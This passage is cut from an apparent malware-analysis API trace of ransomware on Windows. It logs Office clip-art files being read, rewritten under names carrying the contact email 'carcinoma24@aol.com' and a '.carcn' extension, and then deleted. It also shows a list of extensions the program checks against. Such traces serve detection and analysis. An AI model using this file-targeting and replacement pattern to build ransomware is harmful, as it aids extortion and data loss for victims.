lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2a60, lpOverlapped=0x0) returned 1 [0293.375] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.375] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.375] SetEndOfFile (hFile=0x368) returned 1 [0293.375] CloseHandle (hObject=0x368) returned 1 [0293.375] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.375] SetEndOfFile (hFile=0x370) returned 1 [0293.376] CloseHandle (hObject=0x370) returned 1 [0293.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0293.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.379] lstrlenW (lpString=".doc") returned 4 [0293.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.379] lstrlenW (lpString=".docx") returned 5 [0293.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.379] lstrlenW (lpString=".pdf") returned 4 [0293.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.379] lstrlenW (lpString=".xls") returned 4 [0293.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.379] lstrlenW (lpString=".xlsx") returned 5 [0293.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.379] lstrlenW (lpString=".ppt") returned 4 [0293.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.380] lstrlenW (lpString=".zip") returned 4 [0293.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.380] lstrlenW (lpString=".rar") returned 4 [0293.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.380] lstrlenW (lpString=".bz2") returned 4 [0293.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.380] lstrlenW (lpString=".7z") returned 3 [0293.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.380] lstrlenW (lpString=".dbf") returned 4 [0293.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.380] lstrlenW (lpString=".1cd") returned 4 [0293.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.381] lstrlenW (lpString=".jpg") returned 4 [0293.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.381] lstrlenW (lpString=".doc") returned 4 [0293.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.381] lstrlenW (lpString=".docx") returned 5 [0293.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.381] lstrlenW (lpString=".pdf") returned 4 [0293.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.381] lstrlenW (lpString=".xls") returned 4 [0293.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.381] lstrlenW (lpString=".xlsx") returned 5 [0293.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.381] lstrlenW (lpString=".ppt") returned 4 [0293.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.381] lstrlenW (lpString=".zip") returned 4 [0293.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.381] lstrlenW (lpString=".rar") returned 4 [0293.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.382] lstrlenW (lpString=".bz2") returned 4 [0293.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.382] lstrlenW (lpString=".7z") returned 3 [0293.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.382] lstrlenW (lpString=".dbf") returned 4 [0293.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.382] lstrlenW (lpString=".1cd") returned 4 [0293.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0293.382] lstrlenW (lpString=".jpg") returned 4 [0293.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.382] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.382] lstrlenW (lpString="AN00932_.WMF") returned 12 [0293.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0293.383] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=14428) returned 1 [0293.384] CloseHandle (hObject=0x370) returned 1 [0293.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0293.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0293.384] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.384] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0293.385] GetLastError () returned 0x0 [0293.385] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x385c, lpOverlapped=0x0) returned 1 [0293.387] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3860, lpOverlapped=0x0) returned 1 [0293.389] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.389] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.389] SetEndOfFile (hFile=0x368) returned 1 [0293.389] CloseHandle (hObject=0x368) returned 1 [0293.389] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.390] SetEndOfFile (hFile=0x370) returned 1 [0293.391] CloseHandle (hObject=0x370) returned 1 [0293.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0293.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.392] lstrlenW (lpString=".doc") returned 4 [0293.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.392] lstrlenW (lpString=".docx") returned 5 [0293.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.392] lstrlenW (lpString=".pdf") returned 4 [0293.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.392] lstrlenW (lpString=".xls") returned 4 [0293.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.392] lstrlenW (lpString=".xlsx") returned 5 [0293.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.393] lstrlenW (lpString=".ppt") returned 4 [0293.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.393] lstrlenW (lpString=".zip") returned 4 [0293.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.393] lstrlenW (lpString=".rar") returned 4 [0293.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.393] lstrlenW (lpString=".bz2") returned 4 [0293.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.393] lstrlenW (lpString=".7z") returned 3 [0293.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.393] lstrlenW (lpString=".dbf") returned 4 [0293.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.393] lstrlenW (lpString=".1cd") returned 4 [0293.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.393] lstrlenW (lpString=".jpg") returned 4 [0293.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.394] lstrlenW (lpString=".doc") returned 4 [0293.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.394] lstrlenW (lpString=".docx") returned 5 [0293.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.394] lstrlenW (lpString=".pdf") returned 4 [0293.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.394] lstrlenW (lpString=".xls") returned 4 [0293.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.394] lstrlenW (lpString=".xlsx") returned 5 [0293.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.394] lstrlenW (lpString=".ppt") returned 4 [0293.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.394] lstrlenW (lpString=".zip") returned 4 [0293.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.394] lstrlenW (lpString=".rar") returned 4 [0293.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.394] lstrlenW (lpString=".bz2") returned 4 [0293.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.394] lstrlenW (lpString=".7z") returned 3 [0293.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.395] lstrlenW (lpString=".dbf") returned 4 [0293.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.395] lstrlenW (lpString=".1cd") returned 4 [0293.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0293.395] lstrlenW (lpString=".jpg") returned 4 [0293.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.395] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.395] lstrlenW (lpString="AN00965_.WMF") returned 12 [0293.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0293.396] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=7072) returned 1 [0293.396] CloseHandle (hObject=0x370) returned 1 [0293.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0293.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0293.396] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.396] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0293.397] GetLastError () returned 0x0 [0293.397] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0293.678] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0293.689] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.689] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.689] SetEndOfFile (hFile=0x368) returned 1 [0293.995] CloseHandle (hObject=0x368) returned 1 [0293.996] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.996] SetEndOfFile (hFile=0x370) returned 1 [0294.012] CloseHandle (hObject=0x370) returned 1 [0294.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0294.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.018] lstrlenW (lpString=".doc") returned 4 [0294.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.018] lstrlenW (lpString=".docx") returned 5 [0294.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.018] lstrlenW (lpString=".pdf") returned 4 [0294.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.018] lstrlenW (lpString=".xls") returned 4 [0294.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.019] lstrlenW (lpString=".xlsx") returned 5 [0294.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.019] lstrlenW (lpString=".ppt") returned 4 [0294.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.019] lstrlenW (lpString=".zip") returned 4 [0294.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.019] lstrlenW (lpString=".rar") returned 4 [0294.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.019] lstrlenW (lpString=".bz2") returned 4 [0294.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.019] lstrlenW (lpString=".7z") returned 3 [0294.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.019] lstrlenW (lpString=".dbf") returned 4 [0294.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.019] lstrlenW (lpString=".1cd") returned 4 [0294.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.019] lstrlenW (lpString=".jpg") returned 4 [0294.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.019] lstrlenW (lpString=".doc") returned 4 [0294.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.019] lstrlenW (lpString=".docx") returned 5 [0294.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.020] lstrlenW (lpString=".pdf") returned 4 [0294.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.020] lstrlenW (lpString=".xls") returned 4 [0294.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.020] lstrlenW (lpString=".xlsx") returned 5 [0294.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.020] lstrlenW (lpString=".ppt") returned 4 [0294.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.020] lstrlenW (lpString=".zip") returned 4 [0294.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.020] lstrlenW (lpString=".rar") returned 4 [0294.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.020] lstrlenW (lpString=".bz2") returned 4 [0294.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.020] lstrlenW (lpString=".7z") returned 3 [0294.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.020] lstrlenW (lpString=".dbf") returned 4 [0294.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.020] lstrlenW (lpString=".1cd") returned 4 [0294.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0294.020] lstrlenW (lpString=".jpg") returned 4 [0294.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.021] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.021] lstrlenW (lpString="AN01184_.WMF") returned 12 [0294.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.021] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3746) returned 1 [0294.021] CloseHandle (hObject=0x368) returned 1 [0294.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0294.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.022] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.022] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.024] GetLastError () returned 0x0 [0294.024] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xea2, lpOverlapped=0x0) returned 1 [0294.026] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xeb0, lpOverlapped=0x0) returned 1 [0294.027] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, 